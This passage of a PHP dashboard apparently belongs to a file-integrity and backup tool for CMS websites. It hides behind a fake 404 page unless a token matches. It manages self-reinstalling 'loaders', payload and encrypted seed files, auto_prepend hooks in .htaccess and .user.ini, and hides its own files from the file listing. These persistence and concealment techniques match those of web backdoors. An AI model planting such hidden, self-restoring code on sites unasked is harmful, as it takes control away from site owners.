class="sub"><?= t('fv_sub') ?></div> <div class="warn"><?= t('fv_warn') ?></div> <div class="url-box"><?= h($bookmarkUrl) ?></div> <a class="btn" href="<?= h($bookmarkUrl) ?>&lang=<?= h($SG_LANG) ?>"><?= t('fv_btn') ?></a> <ol> <li><?= t('fv_step1') ?></li> <li><?= t('fv_step2') ?></li> <li><?= t('fv_step3') ?></li> </ol> <div class="warn" style="margin-top:24px;"><?= t('fv_lost') ?></div> </div></body></html> <?php exit; } if (!$tokenMatches) { http_response_code(404); echo "<!DOCTYPE html><html><head><title>404 Not Found</title></head>" . "<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>"; exit; } // ============================================================================= // DASHBOARD // ============================================================================= @session_start(); if (empty($_SESSION['sg_csrf'])) $_SESSION['sg_csrf'] = bin2hex(random_bytes(16)); $csrfToken = $_SESSION['sg_csrf']; $flash = null; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!hash_equals($csrfToken, $_POST['csrf'] ?? '')) { $flash = ['err', t('flash_csrf')]; } else { switch ($_POST['action'] ?? '') { case 'force_backup_all': $n = 0; $st = sg_load_state(); foreach ($st['items'] as $path => $info) { $type = isset($info['type']) ? $info['type'] : 'file'; if ($type === 'folder') { $abs = sg_resolve($path); if (is_dir($abs)) { foreach (sg_folder_manifest($abs) as $rel => $h) { if (sg_backup_folder_file($path, $rel, $abs . '/' . $rel)) $n++; } } } else { if (sg_backup_file($path)) $n++; } } sg_log("Manual backup: $n files", 'info'); $flash = ['ok', t('flash_backup_ok', $n)]; break; case 'add_items': $st = sg_load_state(); $added = 0; $skipped = 0; $paths = isset($_POST['paths']) && is_array($_POST['paths']) ? $_POST['paths'] : []; foreach ($paths as $entry) { $parts = explode('|', $entry, 2); if (count($parts) !== 2) { $skipped++; continue; } $path = trim($parts[0]); $type = $parts[1] === 'folder' ? 'folder' : 'file'; if (!sg_is_safe_path($path)) { $skipped++; continue; } if (isset($st['items'][$path])) { $skipped++; continue; } $st['items'][$path] = ['type'=>$type, 'first_seen'=>time(), 'last_check'=>0]; sg_log("Item added to protection: $path ($type)", 'info'); $added++; } sg_save_state($st); $flash = ['ok', t('flash_items_added', $added, $skipped)]; break; case 'add_path': $st = sg_load_state(); $path = isset($_POST['path']) ? trim($_POST['path']) : ''; $type = (isset($_POST['type']) && $_POST['type'] === 'folder') ? 'folder' : 'file'; $path = ltrim(str_replace('\\', '/', $path), '/'); if (!sg_is_safe_path($path)) { $flash = ['err', t('flash_invalid_path')]; break; } if (isset($st['items'][$path])) { $flash = ['err', t('flash_already_protected')]; break; } $st['items'][$path] = ['type'=>$type, 'first_seen'=>time(), 'last_check'=>0]; sg_save_state($st); sg_log("Custom path added: $path ($type)", 'info'); $flash = ['ok', t('flash_path_added', $path)]; break; case 'remove_item': $st = sg_load_state(); $path = isset($_POST['path']) ? $_POST['path'] : ''; if (isset($st['items'][$path])) { unset($st['items'][$path]); sg_save_state($st); sg_log("Item removed from protection: $path", 'info'); $flash = ['ok', t('flash_removed', $path)]; } else { $flash = ['err', t('flash_not_found')]; } break; case 'reset_items': $st = sg_load_state(); $count = count($st['items']); $st['items'] = []; sg_save_state($st); // Delete all user-file backups from vaults (self-protect dat/seed files stay) $deleted = 0; foreach ($SG_CONFIG['backup_locations'] as $dir) { if (!is_dir($dir)) continue; foreach (glob($dir . '/*.bak') ?: [] as $f) { if (@unlink($f)) $deleted++; } foreach (glob($dir . '/folder_*', GLOB_ONLYDIR) ?: [] as $sub) { foreach (glob($sub . '/*.bak') ?: [] as $f) { if (@unlink($f)) $deleted++; } @rmdir($sub); } } sg_log("Reset: $count items + $deleted backup files removed (user action)", 'warn'); $flash = ['ok', t('flash_reset_done', $count, $deleted)]; break; case 'accept_item': $st = sg_load_state(); $path = isset($_POST['path']) ? $_POST['path'] : ''; if (!isset($st['items'][$path])) { $flash = ['err', t('flash_not_found')]; break; } $type = isset($st['items'][$path]['type']) ? $st['items'][$path]['type'] : 'file'; if ($type === 'folder') { sg_accept_folder_baseline($path, $st); } else { $abs = sg_resolve($path); if (file_exists($abs)) { $content = file_get_contents($abs); $st['items'][$path]['hash'] = sg_baseline_hash($path, $content); $st['items'][$path]['size'] = strlen($content); $st['items'][$path]['last_backup'] = time(); sg_backup_file($path); } } sg_save_state($st); $flash = ['ok', t('flash_baseline_updated', $path)]; break; case 'regenerate_seeds': foreach ($SG_CONFIG['encrypted_seed_paths'] as $p) @unlink($p); foreach ($SG_CONFIG['payload_paths'] as $p) @unlink($p); sg_ensure_encrypted_seeds(); sg_ensure_payloads(); sg_log("Seeds + payloads regenerated", 'info'); $flash = ['ok', t('flash_seeds_ok')]; break; case 'install_loaders': $st = sg_load_state(); $n = sg_install_loaders($st, $CMS); sg_save_state($st); $flash = ['ok', t('flash_loaders_ok', $n)]; break; case 'wipe_log': @unlink($SG_CONFIG['log_file']); $flash = ['ok', t('flash_log_wiped')]; break; } } } $state = sg_load_state(); $checks = []; foreach ($state['items'] as $path => $info) { $type = isset($info['type']) ? $info['type'] : 'file'; $checks[] = ($type === 'folder') ? sg_check_folder($path, $state) : sg_check_file($path, $state); } sg_save_state($state); $seedStatus = sg_seed_status(); $events = sg_read_log(80); $loadersAlive = 0; foreach ($state['loaders'] as $p => $info) { if (file_exists($p) && hash('sha256', (string)@file_get_contents($p)) === $info['hash']) $loadersAlive++; } $summary = [ 'total' => count($checks), 'ok' => count(array_filter($checks, fn($c) => $c['status'] === 'ok')), 'restored' => count(array_filter($checks, fn($c) => $c['status'] === 'restored')), 'problems' => count(array_filter($checks, fn($c) => in_array($c['status'], ['missing','modified','unreadable']))), 'not_present' => count(array_filter($checks, fn($c) => $c['status'] === 'not_present')), 'enc_seeds_ok' => count(array_filter($seedStatus['encrypted'], fn($s)=>$s['exists']&&$s['current']&&$s['decryptable'])), 'enc_seeds_total' => count($seedStatus['encrypted']), 'payloads_ok' => count(array_filter($seedStatus['payload'], fn($s)=>$s['exists']&&$s['current']&&$s['valid'])), 'payloads_total' => count($seedStatus['payload']), 'loaders_total' => count($state['loaders']), 'loaders_alive' => $loadersAlive, ]; $overall = ($summary['problems'] === 0 && $summary['payloads_ok'] === $summary['payloads_total'] && $summary['loaders_alive'] === $summary['loaders_total'] && $summary['loaders_total'] > 0) ? 'green' : (($summary['problems'] > 0) ? 'red' : 'yellow'); // pill text mapper function sg_pill_text($status) { static $map = [ 'ok' => 'pill_active', 'restored' => 'card_restored', 'missing' => 'pill_missing', 'modified' => 'pill_broken', 'registered' => 'pill_present', 'not_present' => 'pill_missing', 'unreadable' => 'pill_broken', 'changes_detected' => 'changes_detected', ]; return isset($map[$status]) ? t($map[$status]) : $status; } // File/folder tree picker for "Add Items" UI function sg_is_critical_filename($name) { static $critical = [ 'index.php', 'index.html', 'index.htm', '.htaccess', '.htpasswd', '.env', 'wp-config.php', 'wp-login.php', 'wp-load.php', 'configuration.php', // Joomla 'settings.php', // Drupal 'config.php', // OpenCart / many CMSes 'env.php', // Magento ]; return in_array($name, $critical, true); } function sg_render_tree($base, $protectedPaths, $current, $depth, $maxDepth) { if ($depth > $maxDepth) return; $entries = @scandir($current); if (!$entries) return; $items = []; foreach ($entries as $e) { if ($e === '.' || $e === '..') continue; if (strpos($e, '.sg_') === 0) continue; if (in_array($e, ['.git', 'node_modules', 'vendor', '.DS_Store'], true)) continue; $full = $current . DIRECTORY_SEPARATOR . $e; $rel = str_replace(DIRECTORY_SEPARATOR, '/', substr($full, strlen($base) + 1)); if ($rel === 'security.php' || $e === '.user.ini') continue; $isDir = is_dir($full); $items[] = ['name'=>$e, 'full'=>$full, 'rel'=>$rel, 'isDir'=>$isDir]; } usort($items, function ($a, $b) { // Critical files first, then dirs, then files $aCrit = sg_is_critical_filename($a['name']); $bCrit = sg_is_critical_filename($b['name']); if ($aCrit !== $bCrit) return $aCrit ? -1 : 1; if ($a['isDir'] !== $b['isDir']) return $a['isDir'] ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); if (!$items) return; echo '<ul class="tree-list">'; foreach ($items as $it) { $isProtected = in_array($it['rel'], $protectedPaths, true); $isCritical = sg_is_critical_filename($it['name']); $cls = ''; if ($isProtected) $cls .= ' tree-protected'; if ($isCritical) $cls .= ' tree-critical'; $type = $it['isDir'] ? 'folder' : 'file'; $val = h($it['rel']) . '|' . $type; echo '<li class="tree-item' . $cls . '">'; echo '<label>'; echo '<input type="checkbox" name="paths[]" value="' . $val . '"' . ($isProtected ? ' disabled' : '') . '>'; echo $it['isDir'] ? ' <span class="tree-ico">📁</span> ' : ' <span class="tree-ico">📄</span> '; echo '<span class="tree-name">' . h($it['name']) . '</span>'; if ($isCritical && !$isProtected) echo ' <span class="critical-badge">★ recommended</span>'; if ($isProtected) echo ' <span class="muted">(protected)</span>'; echo '</label>'; if ($it['isDir'] && !$isProtected) { sg_render_tree($base, $protectedPaths, $it['full'], $depth + 1, $maxDepth); } echo '</li>'; } echo '</ul>'; } ?> <!DOCTYPE html> <html lang="<?= h($SG_LANG) ?>"><head> <meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"> <title>SG</title> <script> document.addEventListener('DOMContentLoaded', function () { var idleMs = <?= (int)$SG_CONFIG['refresh_seconds'] ?> * 1000; var lastActivity = Date.now(); var hasUnsavedChanges = false; // Activity tracking ['mousedown','keydown','touchstart','focusin'].forEach(function (e) { document.addEventListener(e, function () { lastActivity = Date.now(); }, true); }); // Any form input change = unsaved changes → block auto-refresh until submit document.querySelectorAll('input, textarea, select').forEach(function (el) { el.addEventListener('change', function () { hasUnsavedChanges = true; }); el.addEventListener('input', function () { hasUnsavedChanges = true; }); }); document.querySelectorAll('form').forEach(function (f) { f.addEventListener('submit', function () { hasUnsavedChanges = false; }); }); // Auto-refresh: only when idle AND no unsaved changes setInterval(function () { if (hasUnsavedChanges) return; if (Date.now() - lastActivity > idleMs) location.reload(); }, 1000); // Safe confirm via data-confirm attribute (handles apostrophes in filenames) document.querySelectorAll('form[data-confirm]').forEach(function (f) { f.addEventListener('submit', function (e) { if (!confirm(f.getAttribute('data-confirm'))) e.preventDefault(); }); }); // Visual indicator: when unsaved changes exist, show a sticky reminder var reminder = document.createElement('div'); reminder.style.cssText = 'position:fixed;bottom:20px;right:20px;background:#9e6a03;color:#fff;padding:10px 16px;border-radius:6px;font-size:13px;z-index:9999;display:none;box-shadow:0 4px 12px rgba(0,0,0,0.5)'; reminder.textContent = '⚠ Unsaved changes — auto-refresh paused'; document.body.appendChild(reminder); setInterval(function () { reminder.style.display = hasUnsavedChanges ? 'block' : 'none'; }, 500); }); </script> <style> *{box-sizing:border-box;margin:0;padding:0} body{background:#0d1117;color:#c9d1d9;font:14px/1.5 -apple-system,Segoe UI,Roboto,sans-serif;padding:20px} .wrap{max-width:1300px;margin:0 auto;position:relative} h1{font-size:22px;margin-bottom:4px;display:flex;align-items:center;gap:10px;padding-right:160px} h1 .cms{font-size:11px;background:#1f4068;color:#79c0ff;padding:3px 8px;border-radius:10px;font-weight:500} .sub{color:#8b949e;font-size:12px;margin-bottom:20px} .lang-switcher{position:absolute;top:0;right:0;display:flex;gap:4px;z-index:10} .lang-btn{background:#21262d;color:#8b949e;border:1px solid #30363d;border-radius:4px;padding:5px 12px;font-size:11px;text-decoration:none;font-weight:600} .lang-btn:hover{color:#c9d1d9;border-color:#8b949e} .lang-btn.active{background:#1f6f3d;color:#fff;border-color:#1f6f3d} .banner{padding:14px 18px;border-radius:8px;margin-bottom:18px;font-weight:500;display:flex;align-items:center;gap:10px} .banner.green{background:#0d2818;border:1px solid #1f6f3d;color:#56d364} .banner.yellow{background:#2d2106;border:1px solid #9e6a03;color:#e3b341} .banner.red{background:#2d0f0f;border:1px solid #a40e26;color:#ff7b72} .banner .dot{width:10px;height:10px;border-radius:50%} .banner.green .dot{background:#56d364}.banner.yellow .dot{background:#e3b341}.banner.red .dot{background:#ff7b72} .cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:12px;margin-bottom:20px} .card{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:14px} .card .label{font-size:11px;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px} .card .value{font-size:24px;font-weight:600;margin-top:6px} .card.ok .value{color:#56d364}.card.warn .value{color:#e3b341}.card.bad .value{color:#ff7b72} .section{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:18px;margin-bottom:16px} .section h2{font-size:14px;text-transform:uppercase;letter-spacing:0.5px;color:#8b949e;margin-bottom:12px} table{width:100%;border-collapse:collapse;font-size:13px} th,td{padding:8px 10px;text-align:left;border-bottom:1px solid #21262d;vertical-align:middle} th{color:#8b949e;font-weight:500;font-size:11px;text-transform:uppercase} .pill{display:inline-block;padding:2px 8px;border-radius:12px;font-size:11px;font-weight:500} .pill.ok{background:#0d2818;color:#56d364;border:1px solid #1f6f3d} .pill.restored{background:#2d2106;color:#e3b341;border:1px solid #9e6a03} .pill.missing,.pill.modified,.pill.err,.pill.error,.pill.unreadable{background:#2d0f0f;color:#ff7b72;border:1px solid #a40e26} .pill.registered{background:#0a1a2e;color:#58a6ff;border:1px solid #1f4068} .pill.not_present,.pill.muted{background:#1c1f24;color:#8b949e;border:1px solid #30363d} .pill.warn{background:#2d2106;color:#e3b341} .pill.info{background:#0a1a2e;color:#58a6ff} .pill.mu_plugin{background:#2d1b4d;color:#bc8cff;border:1px solid #5d3d8c} .pill.stub{background:#0d2818;color:#56d364;border:1px solid #1f6f3d} .hash{font-family:ui-monospace,Menlo,monospace;font-size:11px;color:#6e7681} button,.btn{background:#21262d;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;padding:6px 12px;font-size:12px;cursor:pointer;font-family:inherit} button:hover{background:#30363d;border-color:#8b949e} button.primary{background:#1f6f3d;border-color:#1f6f3d;color:#fff} button.primary:hover{background:#2ea043} button.danger{color:#ff7b72;border-color:#5d1d1d} button.danger:hover{background:#2d0f0f} .toolbar{display:flex;gap:8px;flex-wrap:wrap} .flash{padding:12px 16px;border-radius:6px;margin-bottom:16px} .flash.ok{background:#0d2818;border:1px solid #1f6f3d;color:#56d364} .flash.err{background:#2d0f0f;border:1px solid #a40e26;color:#ff7b72} form.inline{display:inline;margin:0} .log-row{font-family:ui-monospace,Menlo,monospace;font-size:12px} .muted{color:#6e7681;font-size:12px} .foot{text-align:center;color:#6e7681;font-size:11px;margin-top:30px;padding:20px} .kv{display:grid;grid-template-columns:200px 1fr;gap:4px 16px;font-size:12px} .kv .k{color:#8b949e} .loader-list{max-height:320px;overflow-y:auto;font-family:ui-monospace,Menlo,monospace;font-size:11px} .loader-row{padding:5px 0;border-bottom:1px solid #21262d;display:flex;justify-content:space-between;align-items:center;gap:10px} .loader-row .path{color:#c9d1d9;word-break:break-all;flex:1;font-size:10.5px} .tree-list{list-style:none;padding-left:20px;margin:0} .tree-list .tree-list{padding-left:24px} .tree-item{padding:2px 0;font-size:13px} .tree-item label{cursor:pointer;display:inline-flex;align-items:center;gap:4px} .tree-item label:hover{color:#79c0ff} .tree-item.tree-protected{color:#6e7681} .tree-item.tree-protected label{cursor:not-allowed} .tree-item.tree-critical .tree-name{color:#56d364;font-weight:600} .tree-item.tree-critical.tree-protected .tree-name{color:#6e7681;font-weight:600} .critical-badge{display:inline-block;background:#0d2818;color:#56d364;border:1px solid #1f6f3d;border-radius:10px;padding:1px 8px;font-size:10px;font-weight:500;margin-left:6px} .tree-ico{display:inline-block;width:18px;text-align:center} .tree-name{font-family:ui-monospace,Menlo,monospace;font-size:12px} .tree-wrap{max-height:380px;overflow-y:auto;background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:12px;margin:10px 0} .subsection{background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:14px;margin:12px 0} .subsection h3{font-size:13px;color:#c9d1d9;margin-bottom:10px;text-transform:none;letter-spacing:0;font-weight:600} .suggestion-btn{margin:3px 4px 3px 0} .path-input{background:#010409;border:1px solid #30363d;color:#c9d1d9;padding:8px 10px;border-radius:6px;font-family:ui-monospace,Menlo,monospace;font-size:12px;width:380px;max-width:100%} .row-actions form{display:inline;margin-right:4px} .empty-state{background:#2d2106;border:1px solid #9e6a03;color:#e3b341;padding:14px;border-radius:6px;margin-bottom:14px;font-size:13px} .alert-list{font-family:ui-monospace,Menlo,monospace;font-size:11px;color:#ff7b72;background:#1f0a0a;border:1px solid #5d1d1d;border-radius:4px;padding:6px 10px;margin-top:4px;max-height:80px;overflow-y:auto} .pill.changes_detected{background:#2d2106;color:#e3b341;border:1px solid #9e6a03} .pill.folder{background:#1f2d4a;color:#79b8ff;border:1px solid #2d4365} .pill.file{background:#1c1f24;color:#8b949e;border:1px solid #30363d} </style></head> <body> <div class="wrap"> <?php sg_render_lang_switcher($SG_LANG, $providedToken, false); ?> <h1><?= t('app_title') ?> <span class="cms"><?= h(strtoupper($CMS['name'])) ?></span></h1> <div class="sub"><?= h(date('Y-m-d H:i:s')) ?> UTC · <?= t('auto_refresh') ?> <?= (int)$SG_CONFIG['refresh_seconds'] ?>s · <?= t('installed_label') ?> <?= h(date('Y-m-d', $state['meta']['installed'] ?? time())) ?></div> <div class="banner <?= $overall ?>"><span class="dot"></span> <?php if ($overall === 'green'): ?><?= t('banner_green', $summary['loaders_alive'], $summary['payloads_total']) ?> <?php elseif ($overall === 'red'): ?><?= t('banner_red') ?> <?php else: ?><?= t('banner_yellow') ?><?php endif ?> </div> <?php if ($flash): ?><div class="flash <?= $flash[0] ?>"><?= h($flash[1]) ?></div><?php endif ?> <div class="cards"> <div class="card <?= $summary['problems']===0?'ok':'bad' ?>"><div class="label"><?= t('card_protected') ?></div><div class="value"><?= $summary['ok']+$summary['restored'] ?>/<?= $summary['total']-$summary['not_present'] ?></div></div> <div class="card <?= $summary['restored']>0?'warn':'ok' ?>"><div class="label"><?= t('card_restored') ?></div><div class="value"><?= $summary['restored'] ?></div></div> <div class="card <?= $summary['problems']>0?'bad':'ok' ?>"><div class="label"><?= t('card_problems') ?></div><div class="value"><?= $summary['problems'] ?></div></div> <div class="card <?= $summary['loaders_alive']===$summary['loaders_total']?'ok':'warn' ?>"><div class="label"><?= t('card_loader_net') ?></div><div class="value"><?= $summary['loaders_alive'] ?>/<?= $summary['loaders_total'] ?></div></div> <div class="card <?= $summary['payloads_ok']===$summary['payloads_total']?'ok':'warn' ?>"><div class="label"><?= t('card_payload') ?></div><div class="value"><?= $summary['payloads_ok'] ?>/<?= $summary['payloads_total'] ?></div></div> <div class="card <?= $summary['enc_seeds_ok']===$summary['enc_seeds_total']?'ok':'warn' ?>"><div class="label"><?= t('card_enc_seed') ?></div><div class="value"><?= $summary['enc_seeds_ok'] ?>/<?= $summary['enc_seeds_total'] ?></div></div> <div class="card"><div class="label"><?= t('card_backup_loc') ?></div><div class="value"><?= count($SG_CONFIG['backup_locations']) ?></div></div> </div> <div class="section"> <h2><?= t('sec_manual') ?></h2> <div class="toolbar"> <form class="inline" method="post"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="force_backup_all"><button class="primary" type="submit"><?= t('btn_refresh_backups') ?></button></form> <form class="inline" method="post"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="install_loaders"><button type="submit"><?= t('btn_expand_loaders') ?></button></form> <form class="inline" method="post"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="regenerate_seeds"><button type="submit"><?= t('btn_regen_seeds') ?></button></form> <form class="inline" method="post" onsubmit="return confirm('<?= h(t('confirm_wipe_log')) ?>');"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="wipe_log"><button class="danger" type="submit"><?= t('btn_wipe_log') ?></button></form> </div> </div> <div class="section"> <h2><?= t('sec_protected') ?></h2> <?php if (empty($checks)): ?> <div class="empty-state"><?= t('empty_items') ?></div> <?php else: ?> <table> <thead><tr> <th><?= t('col_file') ?></th> <th><?= t('col_type') ?></th> <th><?= t('col_status') ?></th> <th><?= t('col_last_action') ?></th> <th><?= t('col_files_count') ?> / <?= t('col_backups_per_loc') ?></th> <th><?= t('col_last_check') ?></th> <th>SHA-256 / <?= t('col_alerts') ?></th> <th></th> </tr></thead> <tbody> <?php foreach ($checks as $c): $itemType = isset($c['type']) ? $c['type'] : 'file'; ?> <tr> <td><code><?= h($c['file']) ?></code></td> <td><span class="pill <?= $itemType ?>"><?= h($itemType === 'folder' ? t('col_type_folder') : t('col_type_file')) ?></span></td> <td><span class="pill <?= h($c['status']) ?>"><?= h(sg_pill_text($c['status'])) ?></span></td> <td class="muted"><?= h($c['action']) ?></td> <td> <?php if ($itemType === 'folder'): ?> <span class="muted"><?= (int)(isset($c['files_count']) ? $c['files_count'] : 0) ?> files</span> <?php else: ?> <?php if (!empty($c['backups'])): foreach ($c['backups'] as $dir => $n): ?> <span class="muted" title="<?= h($dir) ?>"><?= h(basename($dir)) ?>:<b style="color:<?= $n>0?'#56d364':'#ff7b72' ?>"><?= (int)$n ?></b></span> <?php endforeach; endif ?> <?php endif ?> </td> <td class="muted"><?= h(sg_human_time(isset($c['last_check']) ? $c['last_check'] : null)) ?></td> <td> <?php if ($itemType === 'folder'): ?> <span class="muted">—</span> <?php else: ?> <span class="hash" title="<?= h(isset($c['current_hash']) ? $c['current_hash'] : '') ?>"><?= h(substr((string)(isset($c['current_hash']) ? $c['current_hash'] : ''),0,12)) ?>…</span> <?php endif ?> </td> <td class="row-actions"> <form method="post" data-confirm="<?= h(sprintf(t('confirm_accept'), $c['file'])) ?>"> <input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"> <input type="hidden" name="action" value="accept_item"> <input type="hidden" name="path" value="<?= h($c['file']) ?>"> <button type="submit" title="<?= h(t('btn_accept')) ?>"><?= h(t('btn_accept')) ?></button> </form> <form method="post" data-confirm="<?= h(sprintf(t('confirm_remove'), $c['file'])) ?>"> <input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"> <input type="hidden" name="action" value="remove_item"> <input type="hidden" name="path" value="<?= h($c['file']) ?>"> <button type="submit" class="danger"><?= h(t('btn_remove')) ?></button> </form> </td> </tr> <?php endforeach ?> </tbody> </table> <p class="muted" style="margin-top:10px;"><?= t('help_protected') ?></p> <?php endif ?> </div> <div class="section"> <div style="display:flex;justify-content:space-between;align-items:start;gap:10px;flex-wrap:wrap"> <h2 style="margin-bottom:0"><?= t('sec_manage') ?></h2> <?php if (!empty($state['items'])): ?> <form method="post" data-confirm="<?= h(t('confirm_reset_all')) ?>" style="margin:0"> <input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"> <input type="hidden" name="action" value="reset_items"> <button class="danger" type="submit"><?= t('btn_reset_all') ?></button> </form> <?php endif ?> </div> <p class="muted" style="margin:12px 0;"><?= t('manage_help', $SG_CONFIG['folder_scan_depth'], $SG_CONFIG['folder_max_files']) ?></p> <?php if (!empty($state['items'])): ?> <div class="empty-state" style="background:#0a1a2e;border-color:#1f4068;color:#79b8ff"><?= t('reset_warn') ?></div> <?php endif ?> <?php if (!empty($CMS['protected_extras'])): $unprotected = []; foreach ($CMS['protected_extras'] as $sf) if (!isset($state['items'][$sf])) $unprotected[] = $sf; if ($unprotected): ?> <div class="subsection"> <h3><?= h(sprintf(t('sec_suggestions'), strtoupper($CMS['name']))) ?></h3> <?php foreach ($unprotected as $sf): ?> <form method="post" class="inline"> <input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"> <input type="hidden" name="action" value="add_path"> <input type="hidden" name="path" value="<?= h($sf) ?>"> <input type="hidden" name="type" value="<?= substr($sf, -1) === '/' ? 'folder' : 'file' ?>"> <button class="suggestion-btn" type="submit">+ <code><?= h($sf) ?></code></button> </form> <?php endforeach ?> </div> <?php endif; endif ?> <div class="subsection"> <h3><?= t('sec_picker') ?></h3> <p class="muted" style="margin-bottom:8px;"><?= t('tree_legend') ?></p> <form method="post"> <input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"> <input type="hidden" name="action" value="add_items"> <div class="tree-wrap"> <?php sg_render_tree(__DIR__, array_keys($state['items']), __DIR__, 0, $SG_CONFIG['tree_max_depth']); ?> </div> <button class="primary" type="submit"><?= t('btn_add_selected') ?></button> </form> </div> <div class="subsection"> <h3><?= t('sec_custom') ?></h3> <form method="post" style="display:flex;gap:8px;align-items:center;flex-wrap:wrap"> <input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"> <input type="hidden" name="action" value="add_path"> <input type="text" name="path" class="path-input" placeholder="<?= h(t('placeholder_path')) ?>" required> <label><input type="radio" name="type" value="file" checked> <?= t('as_file') ?></label> <label><input type="radio" name="type" value="folder"> <?= t('as_folder') ?></label> <button class="primary" type="submit"><?= t('btn_add') ?></button> </form> </div> </div> <div class="section"> <h2><?= t('sec_loader_net', $summary['loaders_alive'], $summary['loaders_total']) ?></h2> <p class="muted" style="margin-bottom:10px;"><?= t('help_loader_net') ?></p> <div class="loader-list"> <?php foreach ($state['loaders'] as $path => $info): $exists = file_exists($path); $matches = $exists && hash('sha256', (string)@file_get_contents($path)) === $info['hash']; $sc = $matches ? 'ok' : ($exists ? 'modified' : 'missing'); $st = $matches ? t('pill_active') : ($exists ? t('pill_broken') : t('pill_missing')); ?> <div class="loader-row"> <div class="path"><?= h($path) ?></div> <div><span class="pill <?= h($info['kind']) ?>"><?= h($info['kind']) ?></span> <span class="pill <?= $sc ?>"><?= h($st) ?></span></div> </div> <?php endforeach ?> </div> </div> <div class="section"> <h2><?= t('sec_recovery') ?></h2> <p class="muted" style="margin-bottom:10px;"><?= t('recovery_help') ?></p> <?php $recoveryExists = file_exists($SG_CONFIG['recovery_stub_path']) && hash('sha256', (string)@file_get_contents($SG_CONFIG['recovery_stub_path'])) === hash('sha256', sg_recovery_stub_body()); $htContent = file_exists(__DIR__ . '/.htaccess') ? (string)@file_get_contents(__DIR__ . '/.htaccess') : ''; $hasRewrite = strpos($htContent, '# SG_RECOVERY_START') !== false; $hasPrepend = strpos($htContent, '# SG_PREPEND_START') !== false; $userIniHas = file_exists($SG_CONFIG['user_ini_path']) && strpos((string)@file_get_contents($SG_CONFIG['user_ini_path']), '; SG_PREPEND_START') !== false; $lastTick = file_exists(__DIR__ . '/.sg_last_tick') ? (int)@file_get_contents(__DIR__ . '/.sg_last_tick') : 0; ?> <table> <thead><tr><th><?= t('col_type') ?></th><th><?= t('col_status') ?></th><th><?= t('col_location') ?></th></tr></thead> <tbody> <tr><td><?= t('recovery_stub') ?></td> <td><span class="pill <?= $recoveryExists?'ok':'missing' ?>"><?= h($recoveryExists?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash"><?= h($SG_CONFIG['recovery_stub_path']) ?></td></tr> <tr><td><?= t('recovery_htaccess') ?></td> <td><span class="pill <?= $hasRewrite?'ok':'missing' ?>"><?= h($hasRewrite?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash">.htaccess [SG_RECOVERY block]</td></tr> <tr><td><?= t('recovery_prepend') ?></td> <td><span class="pill <?= $hasPrepend?'ok':'missing' ?>"><?= h($hasPrepend?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash">.htaccess [SG_PREPEND block]</td></tr> <tr><td><?= t('recovery_userini') ?></td> <td><span class="pill <?= $userIniHas?'ok':'missing' ?>"><?= h($userIniHas?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash"><?= h($SG_CONFIG['user_ini_path']) ?></td></tr> <tr><td><?= t('recovery_lasttick') ?></td> <td><span class="pill <?= ($lastTick && time()-$lastTick < 60)?'ok':'warn' ?>"><?= $lastTick ? h(sg_human_time($lastTick)) : '—' ?></span></td> <td class="hash">.sg_last_tick</td></tr> </tbody> </table> </div> <div class="section"> <h2><?= t('sec_self_protect') ?></h2> <table> <thead><tr><th><?= t('col_file') ?></th><th><?= t('col_type') ?></th><th><?= t('col_exists') ?></th><th><?= t('col_current') ?></th><th><?= t('col_valid') ?></th></tr></thead> <tbody> <?php foreach ($seedStatus['payload'] as $s): ?> <tr><td class="hash"><?= h($s['path']) ?></td><td><span class="pill stub">payload</span></td> <td><span class="pill <?= $s['exists']?'ok':'missing' ?>"><?= h($s['exists']?t('pill_present'):t('pill_missing')) ?></span></td> <td><span class="pill <?= $s['current']?'ok':'warn' ?>"><?= h($s['current']?t('pill_current'):t('pill_outdated')) ?></span></td> <td><span class="pill <?= $s['valid']?'ok':'err' ?>"><?= h($s['valid']?t('pill_ok'):t('pill_broken')) ?></span></td></tr> <?php endforeach ?> <?php foreach ($seedStatus['encrypted'] as $s): ?> <tr><td class="hash"><?= h($s['path']) ?></td><td><span class="pill mu_plugin">AES seed</span></td> <td><span class="pill <?= $s['exists']?'ok':'missing' ?>"><?= h($s['exists']?t('pill_present'):t('pill_missing')) ?></span></td> <td><span class="pill <?= $s['current']?'ok':'warn' ?>"><?= h($s['current']?t('pill_current'):t('pill_outdated')) ?></span></td> <td><span class="pill <?= $s['decryptable']?'ok':'err' ?>"><?= h($s['decryptable']?t('pill_ok'):t('pill_broken')) ?></span></td></tr> <?php endforeach ?> </tbody> </table> </div> <div class="section"> <h2><?= t('sec_backup_loc') ?></h2> <table> <thead><tr><th><?= t('col_location') ?></th><th><?= t('col_status') ?></th><th><?= t('col_file') ?></th><th><?= t('col_size') ?></th></tr></thead> <tbody> <?php foreach ($SG_CONFIG['backup_locations'] as $dir): $ex = is_dir($dir); $files = $ex?(glob($dir.'/*.bak')?:[]):[]; $sz = 0; foreach ($files as $f) $sz += filesize($f); ?> <tr><td class="hash"><?= h($dir) ?></td> <td><span class="pill <?= $ex?'ok':'missing' ?>"><?= h($ex?t('pill_active'):t('pill_missing')) ?></span></td> <td><?= count($files) ?></td> <td class="muted"><?= h(sg_bytes($sz)) ?></td></tr> <?php 